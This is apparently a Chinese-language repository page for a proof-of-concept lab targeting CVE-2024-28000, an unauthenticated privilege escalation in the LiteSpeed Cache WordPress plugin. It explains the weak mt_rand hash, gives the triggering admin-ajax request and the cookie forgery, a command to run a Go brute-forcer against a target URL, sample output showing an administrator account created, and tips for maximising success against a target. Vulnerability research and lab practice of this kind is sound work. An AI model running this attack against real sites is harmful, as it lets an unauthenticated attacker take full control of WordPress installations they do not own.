返回更新列表
已更新Aug 7, 2026

CVE-2024-28000 — 已更新!

CVE-2024-28000 动手利用实验环境 — LiteSpeed Cache(WordPress 插件,<=6.3.0.1)中的未认证权限提升漏洞。使用 Docker 启动一个存在漏洞的环境,并包含一个基于 Go 的暴力破解工具,通过破解弱 mt_rand 哈希来创建管理员账户。

分享

CVE-2024-28000 - LiteSpeed Cache 权限提升 PoC

[!WARNING] 本仓库仅供教育和研究目的使用

  • 仅在您拥有的系统上或获得明确许可的情况下使用所提供的 PoC。
  • 未经授权的访问、利用或滥用本仓库中的任何材料均属违法行为
  • 作者对因不当使用而导致的任何损害、滥用或法律后果不承担任何责任

概述

CVE-2024-28000 是一个严重的未认证权限提升漏洞,影响 WordPress 的 LiteSpeed Cache 插件。该漏洞源于插件爬虫角色模拟功能中基于哈希的弱认证机制,允许完全未认证的攻击者冒充 WordPress 管理员并完全控制站点。


漏洞原理

LiteSpeed Cache 插件包含一个爬虫,通过以不同用户角色访问页面来预热站点缓存。为了对爬虫进行认证,插件会生成一个短哈希并将其存储在 WordPress options 表中。任何在 cookie 中携带此哈希的请求都会被授予第二个 cookie 中指定的用户角色。

三个设计缺陷共同导致了该漏洞的可利用性:

缺陷 1 - 未认证的哈希触发

生成哈希的 AJAX 动作注册为对未认证用户开放,且没有权限或 nonce 检查:

// src/router.cls.php
add_action('wp_ajax_nopriv_async_litespeed', [$this, 'async_litespeed_handler']);

public function async_litespeed_handler() {
    // No capability check
    // No nonce verification
    // Any visitor can call this

    $type = sanitize_key($_POST['litespeed_type'] ?? '');

    if ($type === 'crawler') {
        $hash = Str::rrand(6);
        self::update_option(self::ITEM_HASH, $hash);
    }
    wp_die();
}

攻击者通过发送以下请求来触发:

POST /wp-admin/admin-ajax.php
action=async_litespeed&litespeed_type=crawler

缺陷 2 - 可预测的哈希(种子空间仅为 1,000,000)

该哈希使用 PHP 的 mt_rand() 生成,并以当前时间的微秒部分作为种子:

// src/str.cls.php
public static function rrand($len, $type = 7) {
    mt_srand((int) ((float) microtime() * 1000000));
    //       seed = microseconds = 0 to 999,999 only

    $charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $str = '';
    for ($i = 0; $i < $len; $i++) {
        $str .= $charlist[mt_rand(0, strlen($charlist) - 1)];
    }
    return $str;
}

microtime() 仅返回小数秒部分(例如 0.523847)。乘以 1,000,000 后,得到的种子介于 0 到 999,999 之间——与一天中的具体时间无关。自行触发哈希生成的攻击者知道大致的生成时间,可以在几分钟内暴力破解全部 100 万个种子。

缺陷 3 - 验证时无速率限制

插件在每次请求时通过简单的字符串比较来验证哈希,没有锁定或速率限制:

// src/router.cls.php
public function is_role_simulation() {
    if (empty($_COOKIE['litespeed_hash'])) return;

    $hash = self::get_option(self::ITEM_HASH);

    // Simple string compare - no rate limiting, no IP check, no lockout
    if ($_COOKIE['litespeed_hash'] !== $hash) return;

    $role_id = isset($_COOKIE['litespeed_role']) ? (int)$_COOKIE['litespeed_role'] : 0;
    wp_set_current_user($role_id); // attacker becomes admin (ID = 1)
}

完整攻击流程

sequenceDiagram
    participant A as Attacker
    participant W as LiteSpeed Cache / WordPress
    A->>W: POST /wp-admin/admin-ajax.php
    W->>W: Seed mt_rand() with microtime()
    W->>W: Generate & store litespeed_hash
    A->>A: Brute-force PRNG seed
    A->>A: Replicate PHP mt_rand() in Go
    A->>A: Recover litespeed_hash
    A->>W: Cookie: litespeed_hash=<recovered_hash>
    A->>W: Cookie: litespeed_role=1
    W->>W: verify_hash()
    W->>W: wp_set_current_user(1)
    A->>W: POST /index.php?rest_route=/wp/v2/users
    W-->>A: Administrator account created
    A->>W: Login with new Administrator account
    Note over A,W: Full Site Compromise

实验环境搭建

环境要求

  • Docker
  • Go 1.21+

安装

# Clone the repository
git clone https://github.com/AliHzSec/CVE-2024-28000.git

# Change directory
cd CVE-2024-28000

# Set your server IP ( replace with YOUR_ACTUAL_IP ):
sed -i 's/YOUR_SERVER_IP/YOUR_ACTUAL_IP/g' lab/docker-compose.yml

# Build and start:
cd lab && docker compose up -d --build

# Watch setup progress:
docker compose logs -f wordpress

等待直到看到:

============================================================
 Lab ready!
 Admin  : http://YOUR_IP/wp-admin
 Login  : admin / admin123
 Plugin : LiteSpeed Cache 6.3.0.1 (CVE-2024-28000)
============================================================

使用方法

运行漏洞利用程序

cd expl && go run main.go -url http://TARGET_IP/ -threads 40

预期输出

============================================================
 CVE-2024-28000 - LiteSpeed Cache Privilege Escalation PoC
============================================================
 Target  : https://TARGET_IP/
 Seeds   : 0 to 999999 (1000000 total)
 Threads : 40
 Timeout : 5s
============================================================

[INF] Self-test passed - MT19937 output matches PHP (11 seeds verified)
[INF] Sanity check passed - endpoint returns 401 for wrong hash
[INF] Hash generation triggered successfully
[INF] Waiting 1 second for hash to be stored...
[INF] Starting brute-force with 40 threads...
[INF] [Thread  5] Testing seed 100000
[INF] [Thread  7] Testing seed 150000
[INF] [Thread  9] Testing seed 200000
[INF] [Thread  3] Testing seed 50000
[INF] [Thread 27] Testing seed 650000
[INF] [Thread 25] Testing seed 600000
[INF] [Thread 11] Testing seed 250000
[INF] [Thread 21] Testing seed 500000
[INF] [Thread 17] Testing seed 400000
[INF] [Thread 19] Testing seed 450000
[INF] [Thread 13] Testing seed 300000
[INF] [Thread 31] Testing seed 750000
[INF] [Thread 15] Testing seed 350000
[INF] [Thread  1] Testing seed 0
[INF] [Thread 33] Testing seed 800000
[INF] [Thread 23] Testing seed 550000
[INF] [Thread 37] Testing seed 900000
[INF] [Thread 39] Testing seed 950000
[INF] [Thread 35] Testing seed 850000
[INF] [Thread 29] Testing seed 700000

[+] Hash cracked : 2M0Aty (seed: 554242)
[+] Username     : test_lab_user
[+] Password     : test_lab_pass
[+] Login at     : https://TARGET_IP/wp-login.php
[INF] Completed in 2831.14s

[!IMPORTANT] 该哈希没有过期时间,但可以被 LiteSpeed 内置爬虫重新生成。

  • 如果爬虫处于活动状态(默认间隔:每 10 分钟一次),数据库中存储的哈希将被自动替换——导致暴力破解失败,因为它测试的是旧哈希的种子。
  • 如果爬虫被禁用,哈希将无限期保留,线程数只影响速度,不影响成功率。
  • 为最大化成功率:触发哈希生成并立即运行漏洞利用程序,使用目标能够承受的尽可能多的线程。
  • 哈希在攻击过程中被轮换的迹象:尽管启动时健全性检查通过,但全部 1,000,000 个种子都已耗尽却没有任何结果。

分类